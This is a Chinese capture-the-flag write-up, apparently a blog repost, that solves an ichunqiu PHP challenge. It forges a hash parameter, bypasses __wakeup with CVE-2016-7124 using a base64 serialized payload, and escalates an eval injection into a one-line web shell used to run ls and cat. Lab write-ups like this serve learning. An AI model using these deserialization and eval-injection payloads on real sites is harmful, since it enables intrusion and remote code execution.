记一道CTF反序列化

0x00 使用burpsuite抓包,在URL上发现有用信息

这里写图片描述

发现key=123对应一个hash值,该hash的值通过md5解密得到kkkkkk01123,如果我们不是123那么就可以get到flag,构造kkkkkk01456,将其MD5加密,得到2a5414055268d6f1f82288af38e5ce4e,将key和hash替换,构造

index.php?key=456&hash=2a5414055268d6f1f82288af38e5ce4e

得到下一个页面的链接

这里写图片描述

0x01 访问Gu3ss_m3_h2h2.php页面

http://cbf20660cadd42a4964bcca3cca2bfd16b87a6145fe34aee.game.ichunqiu.com/Gu3ss_m3_h2h2.php

得到一段代码

这里写图片描述

注释信息 :the secret is in the f15g_1s_here.php

0x02 代码审计

通过get方式接受var参数,并将var的值进行base64解码,之后进行正则匹配,如果匹配到的话就退出程序。否则进行反序列化。而且我们发现这个Demo类是文件读取的类,当unserialize时被调用执行__wakeup()方法,就是说会在__destruct()前被调用,而__wakeup()会改变file变量的值。魔术方法介绍

根据php之前的漏洞(CVE-2016-7124 https://bugs.php.net/bug.php?id=72663),当
序列化的字符中表示对象属性个数的值大于真实个数时会跳过__wakeup()的执行,这样我们就可以绕过__wakeup()方法,执行__destruct()函数,将文件f15g_1s_here.php的内容读取出来。

首先将”f15g_1s_here.php”文件对象序列化
这里写图片描述
要绕过正则表达式,在对象长度前加一个“+”

0x03 构造PAYLOAD

这里写图片描述

TzorNDoiRGVtbyI6Nzp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

访问得到

<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

?>

这里写图片描述

接收一个val参数,eval函数时进行变量赋值,执行

http://cbf20660cadd42a4964bcca3cca2bfd16b87a6145fe34aee.game.ichunqiu.com/f15g_1s_here.php?val=${phpinfo()}

这里写图片描述

改成一句话,然后post执行代码

http://cbf20660cadd42a4964bcca3cca2bfd16b87a6145fe34aee.game.ichunqiu.com/f15g_1s_here.php?val=${@eval($_POST[0])}

这里写图片描述

通过反引号执行命令ls

Gu3ss_m3_h2h2.php True_F1ag_i3_Here_233.php f15g_1s_here.php index.php 

这里写图片描述

然后执行cat True_F1ag_i3_Here_233.php得到flag

这里写图片描述

猜你喜欢

转载自blog.csdn.net/qq_39629343/article/details/80487781
今日推荐